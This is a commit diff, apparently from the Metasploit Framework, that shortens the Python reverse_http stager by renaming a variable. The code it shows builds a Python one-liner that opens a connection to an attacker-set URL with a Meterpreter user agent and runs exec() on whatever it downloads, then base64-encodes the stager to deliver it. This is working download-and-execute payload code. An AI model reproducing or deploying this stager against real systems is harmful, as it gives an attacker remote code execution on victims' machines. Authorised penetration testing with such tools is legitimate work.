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Shorten the reverse_http stager by renaming a var

bug/bundler_fix
Spencer McIntyre 2014-11-17 19:04:26 -05:00
parent 2b36c1bb43
commit d5ebd8a2dc
1 changed files with 4 additions and 5 deletions
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9
modules/payloads/stagers/python/reverse_http.rb
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@ -48,15 +48,14 @@ module Metasploit3
cmd = "import sys\n"
if datastore['PROXYHOST'].blank?
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener'])\n"
cmd << "opener=ul.build_opener()\n"
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "opener=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "opener.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(opener.open('#{target_url}').read())\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("